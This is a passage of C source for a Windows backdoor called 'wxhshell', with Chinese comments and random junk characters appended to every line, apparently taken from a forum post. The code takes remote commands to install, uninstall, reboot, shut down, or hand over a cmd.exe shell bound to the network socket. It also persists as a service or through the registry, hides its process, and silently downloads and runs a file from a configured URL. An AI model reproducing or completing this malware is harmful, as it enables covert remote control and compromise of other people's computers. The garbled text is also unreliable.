  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); , /.@([C  
  } O\=Z;}<N  
  else { Xw4Eti._D  
*?m)VvR>|  
    switch(cmd[0]) { ^Hn}\5  
  'NtI bS  
  // 帮助 `jE[Xt"@  
  case '?': { %ztZ#h~g  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); px;~20$e  
    break; 1-gM)x{Jr  
  } tyR?A>F4  
  // 安装  y<Koc>8  
  case 'i': { KtQs uL%  
    if(Install()) IO\1nB$0nb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KTm^}')C8  
    else Cv,WG]E7(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >e Gg 1  
    break; bbC@  
    } | xB`cSu(  
  // 卸载 zb0NqIN:  
  case 'r': { u2#q7}  
    if(Uninstall()) ud/!@WG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v<1@"9EH  
    else 84(Jo_9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .V;,6Vq  
    break; HkD. W6A3  
    } MRpMmu  
  // 显示 wxhshell 所在路径 + f6LG 0q  
  case 'p': { JT 7WZc)  
    char svExeFile[MAX_PATH]; j e\!0{  
    strcpy(svExeFile,"\n\r"); pf8'xdExH)  
      strcat(svExeFile,ExeFile); [E9iuym  
        send(wsh,svExeFile,strlen(svExeFile),0); _`?0w#> 0  
    break; :qo[@x{  
    } tiZ H;t';<  
  // 重启 ='"Yj  
  case 'b': { L0![SE>  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [Hx}#Kds  
    if(Boot(REBOOT)) :BxO6@>Xc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &;$uU  
    else { BwHJr(n  
    closesocket(wsh); &E`Nu (e  
    ExitThread(0); Q`bXsH  
    } 5p.rd0T]l3  
    break; )?72 +X  
    } eCI'<^  
  // 关机 t!\aDkxo %  
  case 'd': { *B&P[n  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 'dj3y/ k%  
    if(Boot(SHUTDOWN)) J`5VE$2M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (U 'n1s/X  
    else { 12^uu)6Xm,  
    closesocket(wsh); <Y)14w%  
    ExitThread(0); oywPPVxj  
    } v/ry" W  
    break; sPK]:i C  
    } 1sXCu|\q  
  // 获取shell "==c  
  case 's': { "W5MZ  
    CmdShell(wsh); |)7K(R)(=  
    closesocket(wsh); `he# !"  
    ExitThread(0); Z.${WZW  
    break; @* hv|zjs  
  } XGZZKvp  
  // 退出 (%R%UkwP9  
  case 'x': { $j- Fm:ZIA  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); X0j\nXk  
    CloseIt(wsh); F>.y>h  
    break; *A9v8$  
    } >"/TiQt  
  // 离开 vJ0v6\  
  case 'q': { B>i%:[-e  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); S\Z*7j3;M  
    closesocket(wsh); S[L@8z.Sj  
    WSACleanup(); 4<s;xSCL  
    exit(1); \gP?uJ  
    break; l i<9nMZ<  
        } 0@_8JB ?E  
  } $l ,U)  
  } _L8&.=4]i  
7}xQ4M\u$  
  // 提示信息 \0|x<~#j'  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HP*)^`6X  
} 1'~+.92Y  
  } 4s m [y8  
i<S \x  
  return; -(57C*#ap  
} %>K(IR pMW  
Rc)]A&J  
// shell模块句柄 UW":&`i  
int CmdShell(SOCKET sock) n*GB`I*g  
{ MO ~T_6  
STARTUPINFO si; 5^uX!_ r`  
ZeroMemory(&si,sizeof(si)); _U}|Le@ e  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5{-Hg[+9  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; M0m%S:2  
PROCESS_INFORMATION ProcessInfo; A]"6/Lr9P  
char cmdline[]="cmd"; *effDNE!  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); yMW3mx301j  
  return 0; -}@C9Ja[?  
} O4-#)#-)S~  
xpa+R^D5G  
// 自身启动模式 dZ|bw0~_!  
int StartFromService(void) 1N),k5I  
{ }*XF- U  
typedef struct  mTH[*Y,  
{ (l][_6Q  
  DWORD ExitStatus; WA}'[h   
  DWORD PebBaseAddress; T72Li"00  
  DWORD AffinityMask; oi Q3E  
  DWORD BasePriority; p!DdX  
  ULONG UniqueProcessId; a\-5tYo`u  
  ULONG InheritedFromUniqueProcessId; Wr Wz+5M8  
}   PROCESS_BASIC_INFORMATION; g?1bEOA!  
(6[<+j&.  
PROCNTQSIP NtQueryInformationProcess; LZ#A`&qUd  
uYTyR;a  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Iv7BIK^0  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >CCy2W^W  
e>Q:j_?.e  
  HANDLE             hProcess; k5&}bj-  
  PROCESS_BASIC_INFORMATION pbi; !h&h;m/c  
H{P*d=9v  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); d}E6d||A  
  if(NULL == hInst ) return 0; TbMlYf]It  
[Qkj}  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); B%Oi1bO  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); M9V,;*  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Md:*[]<~  
}8.$)&O$^  
  if (!NtQueryInformationProcess) return 0; -}qay@cDt  
W*c^(W  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >taT V_,  
  if(!hProcess) return 0; @)ozgs@e  
"=f,4Zbj  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1\f8-:C  
+],2smd@N  
  CloseHandle(hProcess); ~}YgZ/U7T  
"(F:'J} X  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); qB3& F pgW  
if(hProcess==NULL) return 0; Y$q--JA  
K<ldl.  
HMODULE hMod; 0J)VEMC  
char procName[255]; :fG9p`  
unsigned long cbNeeded; 2\}6b4  
.dBW{|gN  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); w RTzpG4  
NLWj5K)1P  
  CloseHandle(hProcess); 9 LEUj  
T7G{)wm  
if(strstr(procName,"services")) return 1; // 以服务启动 6l?KX  
>*w(YB]/$V  
  return 0; // 注册表启动 z81`Lhg6  
} %c c<>Hi  
wd:SBU~f5*  
// 主模块 <CP't[  
int StartWxhshell(LPSTR lpCmdLine) >>7m'-k%D  
{ $_Lcw"xO  
  SOCKET wsl; \4q1<j  
BOOL val=TRUE; fwyz|>H_Y(  
  int port=0; j"+R*H(#  
  struct sockaddr_in door; n]JfdI  
+>h'^/rAE  
  if(wscfg.ws_autoins) Install(); =dC5q{  
ET]`  
port=atoi(lpCmdLine); nG5:H.)  
`WU"*HqW  
if(port<=0) port=wscfg.ws_port; 1lUY27MF  
"6'# L,  
  WSADATA data; hzk]kM/OC  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; iGeuO[ ^  
F[|aDj@q e  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   \h/aD1 &g  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); l< |)LD q~  
  door.sin_family = AF_INET; r+l3J>:K  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); q(@hYp#O"3  
  door.sin_port = htons(port); ;(Qm<JAa  
0j~C6 vp  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _EZrZB  
closesocket(wsl); b~;+E#[*  
return 1; `Axn  
} ab5z&7Re6  
{wf e!f  
  if(listen(wsl,2) == INVALID_SOCKET) { T*C]:=)  
closesocket(wsl); W[W}:@KZ  
return 1; t5za$kW'&  
} 2}R)0][W  
  Wxhshell(wsl); ;lo!o9`<  
  WSACleanup(); [318Q%W&  
|a {*r.  
return 0; PT`gAUCw  
l7JY`x  
} V-iY2YiR  
aq,?  
// 以NT服务方式启动 RnkrI~x  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) xBcE>^{1.  
{ [<{+tAdn)  
DWORD   status = 0; '.DFyHsq  
  DWORD   specificError = 0xfffffff; ~lLIq!!\  
1~q|%"J  
  serviceStatus.dwServiceType     = SERVICE_WIN32; }" 'l8t0?  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; {*PB+WGe  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6d3-GMUQ  
  serviceStatus.dwWin32ExitCode     = 0; VSt)~  
  serviceStatus.dwServiceSpecificExitCode = 0; fL&bN[XA"$  
  serviceStatus.dwCheckPoint       = 0; J4ltHk.|  
  serviceStatus.dwWaitHint       = 0; +lqX;*a=N  
;/Dp  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :>g*!hpb  
  if (hServiceStatusHandle==0) return; 2^7VDqLc  
"o[j'  
status = GetLastError(); ) >SU J^u  
  if (status!=NO_ERROR) Nu'T0LPNq(  
{ E|d 8vt  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; +Te;LJP  
    serviceStatus.dwCheckPoint       = 0; s k_Q\0a  
    serviceStatus.dwWaitHint       = 0; t/aT  
    serviceStatus.dwWin32ExitCode     = status; Bq]eNq  
    serviceStatus.dwServiceSpecificExitCode = specificError; x, ^j=n  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); e[7n`ka '  
    return; Xj<B!Wn*Xb  
  } 5)GO  
v5GV"qY  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 9IC|2w66  
  serviceStatus.dwCheckPoint       = 0; 8?O6IDeW  
  serviceStatus.dwWaitHint       = 0; 5}4r'P$m:  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); F|XRh6j  
} xV4 #_1(  
dw!cDfT+  
// 处理NT服务事件,比如:启动、停止 _0<EbJ8Z  
VOID WINAPI NTServiceHandler(DWORD fdwControl) FHS6Mk26  
{ y  ZsC>  
switch(fdwControl) 5[Yzi> o[  
{ 64>o3Hb2  
case SERVICE_CONTROL_STOP: /-l7GswF  
  serviceStatus.dwWin32ExitCode = 0; $;dSM<r  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; =q( ;g]e  
  serviceStatus.dwCheckPoint   = 0; 5Vzi{y/bL  
  serviceStatus.dwWaitHint     = 0; PI#xRKt  
  { _$?SKid|o  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (W| Eg  
  } @4D$Xl  
  return; t .&YD x  
case SERVICE_CONTROL_PAUSE: RS~jHwIh  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ^U.8grA  
  break; !;^sIoRPV  
case SERVICE_CONTROL_CONTINUE: I7hE(2!$  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; n%]1p36  
  break;  # xS8  
case SERVICE_CONTROL_INTERROGATE: )q\|f_  
  break; TC4W7} }  
}; Ii /#cdgF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); g,!6, v@  
} 1#9Q1@'OS  
MGd 7Ont  
// 标准应用程序主函数 spV/+jy{  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .R` {.~_{!  
{ eFUJASc  
wTGH5}QZ+  
// 获取操作系统版本 DDT)l+:XP  
OsIsNt=GetOsVer(); $e7dE$eH  
GetModuleFileName(NULL,ExeFile,MAX_PATH); !PI& y  
eEkF Zx  
  // 从命令行安装 CCOd4  
  if(strpbrk(lpCmdLine,"iI")) Install(); 7Xi)[M?)#  
5uu Zt0V\  
  // 下载执行文件 D}wM$B@S  
if(wscfg.ws_downexe) { Lc!% 3,#.  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |>(;gr/5(  
  WinExec(wscfg.ws_filenam,SW_HIDE); jX79Nm|  
}  `k/hC  
YT6<1-E#  
if(!OsIsNt) { %SL'X`j  
// 如果时win9x,隐藏进程并且设置为注册表启动 cbD&tsF  
HideProc(); R g7  O  
StartWxhshell(lpCmdLine); s('<ms  
} cWSiJr):r  
else ]VY}VALZ  
  if(StartFromService()) : uglv6  
  // 以服务方式启动 Rdd[b?  
  StartServiceCtrlDispatcher(DispatchTable); y-gSal  
else :yo tpa  
  // 普通方式启动 V^WR(Q}  
  StartWxhshell(lpCmdLine); TpLlbsd  
-9)<[>:  
return 0; F'DO46  
}
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只看该作者 1 发表于: 2006-10-10
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